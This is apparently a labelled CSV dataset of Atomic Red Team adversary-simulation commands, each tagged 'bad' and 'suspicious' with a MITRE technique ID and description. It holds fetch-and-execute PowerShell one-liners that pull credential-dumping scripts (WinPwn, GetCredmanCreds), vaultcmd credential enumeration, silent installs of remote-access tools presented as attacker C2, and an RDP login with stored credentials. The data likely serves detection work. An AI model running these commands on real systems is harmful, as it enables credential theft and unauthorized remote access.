37a4593a8d3267d7d73e6ec9,truncate -s +1 #{file_to_pad} #adds a byte to the file size,truncate -s +1 #{file_to_pad} #adds a byte to the file size,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.001/T1027.001.yaml,Pad Binary to Change Hash using truncate command - Linux/macOS,T1027.001,"[""T1027.001""]","linux,macos",0.9,False,"Uses truncate to add a byte to the binary to change the hash.

Upon successful execution, truncate will modify `/tmp/evil-binary`, therefore the expected hash will change.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9760c25da0a0795e0278b6d9,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1555\src\T1555-macrocode.txt"" -officeProduct ""Word"" -sub ""Extract""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1555\src\T1555-macrocode.txt"" -officeProduct ""Word"" -sub ""Extract""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Extract Windows Credential Manager via VBA,T1555,"[""T1555""]",windows,0.9,False,"This module will extract the credentials found within the Windows credential manager and dump
them to $env:TEMP\windows-credentials.txt
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96b404a363ae26757fe421a7,"Remove-Item ""$env:TEMP\windows-credentials.txt"" -ErrorAction Ignore","Remove-Item ""$env:TEMP\windows-credentials.txt"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Extract Windows Credential Manager via VBA,T1555,"[""T1555""]",windows,0.55,True,"This module will extract the credentials found within the Windows credential manager and dump
them to $env:TEMP\windows-credentials.txt
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ca66ffd1cb8cd461b8cb53dd,IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force,IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Dump credentials from Windows Credential Manager With PowerShell [windows Credentials],T1555,"[""T1555""]",windows,0.9,False,This module will extract the credentials from Windows Credential Manager,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00326d6491bbc9b6f1bfcbad,IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force,IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Dump credentials from Windows Credential Manager With PowerShell [web Credentials],T1555,"[""T1555""]",windows,0.9,False,This module will extract the credentials from Windows Credential Manager,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a467a6088d807d82d2bcc4d,"vaultcmd /listcreds:""Windows Credentials"" /all","vaultcmd /listcreds:""Windows Credentials"" /all",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials],T1555,"[""T1555""]",windows,0.9,False,This module will enumerate credentials stored in Windows Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a97f85afdf993b7acdded684,"vaultcmd /listcreds:""Web Credentials"" /all","vaultcmd /listcreds:""Web Credentials"" /all",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials],T1555,"[""T1555""]",windows,0.9,False,This module will enumerate credentials stored in Web Credentials vault of Windows Credential Manager using builtin utility vaultcmd.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
da65d8f7551e10f75f9e9723,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') lazagnemodule -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') lazagnemodule -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,WinPwn - Loot local Credentials - lazagne,T1555,"[""T1555""]",windows,0.9,False,"The [LaZagne project](https://github.com/AlessandroZ/LaZagne) is an open source application used to retrieve lots of passwords stored on a local computer. 
Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). 
This tool has been developed for the purpose of finding these passwords for the most commonly-used software",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66d9ce216fbbef9955db72ee,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') wificreds -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') wificreds -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,WinPwn - Loot local Credentials - Wifi Credentials,T1555,"[""T1555""]",windows,0.9,False,Loot local Credentials - Wifi Credentials technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
58f48058b32e472a78bd1787,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') decryptteamviewer -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') decryptteamviewer -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555/T1555.yaml,WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords,T1555,"[""T1555""]",windows,0.9,False,Loot local Credentials - Decrypt Teamviewer Passwords technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2e88e87a3f85065eb6d238e,"Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe $file1 = ""C:\Users\"" + $env:username + ""\Desktop\TeamViewer_Setup.exe"" Start-Process -Wait $file1 /S; Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'","Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe $file1 = ""C:\Users\"" + $env:username + ""\Desktop\TeamViewer_Setup.exe"" Start-Process -Wait $file1 /S; Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,TeamViewer Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
551979b9f014a15e1e2ce5e1,"$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe' if(Test-Path $file){ Start-Process $file ""/S"" -ErrorAction Ignore | Out-Null } $file1 = ""C:\Users\"" + $env:username + ""\Desktop\TeamViewer_Setup.exe"" Remove-Item $file1 -ErrorAction Ignore | Out-Null","$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe' if(Test-Path $file){ Start-Process $file ""/S"" -ErrorAction Ignore | Out-Null } $file1 = ""C:\Users\"" + $env:username + ""\Desktop\TeamViewer_Setup.exe"" Remove-Item $file1 -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,TeamViewer Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2913685f0b057576a6536bb3,"Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe $file1 = ""C:\Users\"" + $env:username + ""\Desktop\AnyDesk.exe"" Start-Process $file1 /S;","Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe $file1 = ""C:\Users\"" + $env:username + ""\Desktop\AnyDesk.exe"" Start-Process $file1 /S;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,AnyDesk Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c918f09364f0b74fb3ad9554,"$file1 = ""C:\Users\"" + $env:username + ""\Desktop\AnyDesk.exe"" Remove-Item $file1 -ErrorAction Ignore","$file1 = ""C:\Users\"" + $env:username + ""\Desktop\AnyDesk.exe"" Remove-Item $file1 -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,AnyDesk Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc88416975be13d4ed84bd0f,"Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi $file1 = ""C:\Users\"" + $env:username + ""\Desktop\LogMeInIgnition.msi"" Start-Process -Wait $file1 /quiet; Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' ""/S""","Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi $file1 = ""C:\Users\"" + $env:username + ""\Desktop\LogMeInIgnition.msi"" Start-Process -Wait $file1 /quiet; Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' ""/S""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,LogMeIn Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acb9318ed76032cfba68a559,"get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package $file1 = ""C:\Users\"" + $env:username + ""\Desktop\LogMeInIgnition.msi"" Remove-Item $file1 -ErrorAction Ignore","get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package $file1 = ""C:\Users\"" + $env:username + ""\Desktop\LogMeInIgnition.msi"" Remove-Item $file1 -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,LogMeIn Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0cf02328714ece0d3bc07e1,"try{""$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1""} catch{}","try{""$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1""} catch{}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,GoToAssist Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa63cc9d4ac8f9771a0b4f38,"$installer = ""C:\Users\$env:username\Downloads\ScreenConnect.msi"" Invoke-WebRequest -OutFile $installer ""https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"" msiexec /i $installer /qn","$installer = ""C:\Users\$env:username\Downloads\ScreenConnect.msi"" Invoke-WebRequest -OutFile $installer ""https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"" msiexec /i $installer /qn",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,ScreenConnect Application Download and Install on Windows,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59717df2a89fe97508afa15d,"$installer = ""C:\Users\$env:username\Downloads\ScreenConnect.msi"" msiexec /x $installer /qn","$installer = ""C:\Users\$env:username\Downloads\ScreenConnect.msi"" msiexec /x $installer /qn",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,ScreenConnect Application Download and Install on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory.
Msiexec will be used to quietly insall ScreenConnect.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6280e5736176d5a7ae8d1922,"Start-Process ""#{Ammyy_Admin_Path}""","Start-Process ""#{Ammyy_Admin_Path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Ammyy Admin Software Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e780848b2fb1ef741689878b,"Stop-Process -Name ""Ammyy"" -force -erroraction silentlycontinue","Stop-Process -Name ""Ammyy"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Ammyy Admin Software Execution,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. 
Upon successful execution, Ammyy Admin will be executed. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05d7ceffef1bf8a28b3acd55,"Start-Process ""#{RemotePC_Path}""","Start-Process ""#{RemotePC_Path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,RemotePC Software Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. 
Upon successful execution, RemotePC will be executed. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c310e2863d897f3f95cd2bb1,"Start-Process ""#{NetSupport_Path}"" -ArgumentList ""/S /v/qn""","Start-Process ""#{NetSupport_Path}"" -ArgumentList ""/S /v/qn""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,NetSupport - RAT Execution,T1219,"[""T1219""]",windows,0.9,False,"A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71b7c938f6dba4f690a7106d,"Stop-Process -Name ""client32"" -force -erroraction silentlycontinue","Stop-Process -Name ""client32"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,NetSupport - RAT Execution,T1219,"[""T1219""]",windows,0.55,True,"A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9765c0f5068a765e67da72ce,"Start-Process -Wait -FilePath ""#{UltraViewer_Path}"" -Argument ""/silent"" -PassThru Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'","Start-Process -Wait -FilePath ""#{UltraViewer_Path}"" -Argument ""/silent"" -PassThru Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,UltraViewer - RAT Execution,T1219,"[""T1219""]",windows,0.9,False,"A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59286820c650432d99e27909,"Stop-Process -Name ""UltraViewer_Desktop"" -Force -ErrorAction SilentlyContinue","Stop-Process -Name ""UltraViewer_Desktop"" -Force -ErrorAction SilentlyContinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,UltraViewer - RAT Execution,T1219,"[""T1219""]",windows,0.55,True,"A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
426d8703cf3ae891dd952d79,Start-Process #{UltraVNC_Viewer_Path},Start-Process #{UltraVNC_Viewer_Path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,UltraVNC Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eeb78bb2c5ea03cc03a5eb39,"Stop-Process -Name ""vncviewer"" -force -erroraction silentlycontinue","Stop-Process -Name ""vncviewer"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,UltraVNC Execution,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel.
Upon successful execution, UltraVNC will be executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7efc6dc0a64b7da1a6265a42,Start-Process #{MSP360_Connect_Path},Start-Process #{MSP360_Connect_Path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,MSP360 Connect Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af3b13f9a83b3076143098a3,"Stop-Process -Name ""Connect"" -force -erroraction silentlycontinue","Stop-Process -Name ""Connect"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,MSP360 Connect Execution,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.
Upon successful execution, MSP360 Connect will be executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9350da4ec2061519dd3d523c,"$file = Join-Path $env:USERPROFILE ""Desktop\rustdesk-1.2.3-1-x86_64.exe"" Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe Start-Process -FilePath $file ""/S""","$file = Join-Path $env:USERPROFILE ""Desktop\rustdesk-1.2.3-1-x86_64.exe"" Invoke-WebRequest -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe Start-Process -FilePath $file ""/S""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,RustDesk Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fd56f604a0104a9c2aa6f900,"$file = Join-Path $env:USERPROFILE ""Desktop\rustdesk-1.2.3-1-x86_64.exe"" Remove-Item $file1 -ErrorAction Ignore","$file = Join-Path $env:USERPROFILE ""Desktop\rustdesk-1.2.3-1-x86_64.exe"" Remove-Item $file1 -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,RustDesk Files Detected Test on Windows,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. 
Download of RustDesk installer will be at the destination location when successfully executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1ba175fc74a468ec33350c0,"Start-Process ""#{Splashtop_Path}""","Start-Process ""#{Splashtop_Path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Splashtop Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
Upon successful execution, Splashtop will be executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e74b08b37156927d52a720d,"Stop-Process -Name ""strwinclt"" -force -erroraction silentlycontinue","Stop-Process -Name ""strwinclt"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Splashtop Execution,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel.
Upon successful execution, Splashtop will be executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8091c7c68e7dc8d07db46eb9,"Start-Process -FilePath ""C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}""","Start-Process -FilePath ""C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Splashtop Streamer Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
319b6c98451ae90d752f07ae,"Start-Process ""shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App""","Start-Process ""shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Microsoft App Quick Assist Execution,T1219,"[""T1219""]",windows,0.9,False,"An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
505e04f94b93a7f8180705b7,Stop-Process -Name quickassist,Stop-Process -Name quickassist,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1219/T1219.yaml,Microsoft App Quick Assist Execution,T1219,"[""T1219""]",windows,0.55,True,"An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6c61a05e571f91ebcd3a51b8,ping -n 4 #{ping_target},ping -n 4 #{ping_target},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.001/T1016.001.yaml,Check internet connection using ping Windows,T1016.001,"[""T1016.001""]",windows,0.9,False,"Check internet connection using ping on Windows. The default target of the ping is 8.8.8.8 (Google Public DNS).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
52f1da05b9bf9e884e6ab898,ping -c 4 #{ping_target},ping -c 4 #{ping_target},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.001/T1016.001.yaml,"Check internet connection using ping freebsd, linux or macos",T1016.001,"[""T1016.001""]","macos,linux",0.9,False,"Check internet connection using ping on Linux, MACOS. The default target of the ping is 8.8.8.8 (Google Public DNS).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0d09aa3bca1a3b9b62e72842,Test-NetConnection -ComputerName #{target},Test-NetConnection -ComputerName #{target},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.001/T1016.001.yaml,Check internet connection using Test-NetConnection in PowerShell (ICMP-Ping),T1016.001,"[""T1016.001""]",windows,0.9,False,"Check internet connection using PowerShell's Test-NetConnection cmdlet and the ICMP/Ping protocol. The default target is 8.8.8.8 (Google Public DNS).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39d7d62f6ff9db188b4e6b73,Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target},Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.001/T1016.001.yaml,Check internet connection using Test-NetConnection in PowerShell (TCP-HTTP),T1016.001,"[""T1016.001""]",windows,0.9,False,"Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound HTTP (Port 80) access. The default target is www.google.com.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b782517ea6fbf84944b8b3b,Test-NetConnection -CommonTCPPort SMB -ComputerName #{target},Test-NetConnection -CommonTCPPort SMB -ComputerName #{target},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016.001/T1016.001.yaml,Check internet connection using Test-NetConnection in PowerShell (TCP-SMB),T1016.001,"[""T1016.001""]",windows,0.9,False,"Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound SMB (Port 445) access. The default target is 8.8.8.8.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7eb953fc1cc296caca1c20a,"$Server=#{logonserver} $User = Join-Path #{domain} #{username} $Password=""#{password}"" cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password mstsc /v:$Server echo ""RDP connection established""","$Server=#{logonserver} $User = Join-Path #{domain} #{username} $Password=""#{password}"" cmdkey /generic:TERMSRV/$Server /user:$User /pass:$Password mstsc /v:$Server echo ""RDP connection established""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.001/T1021.001.yaml,RDP to DomainController,T1021.001,"[""T1021.001""]",windows,0.9,False,"Attempt an RDP session via Remote Desktop Application to a DomainController.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
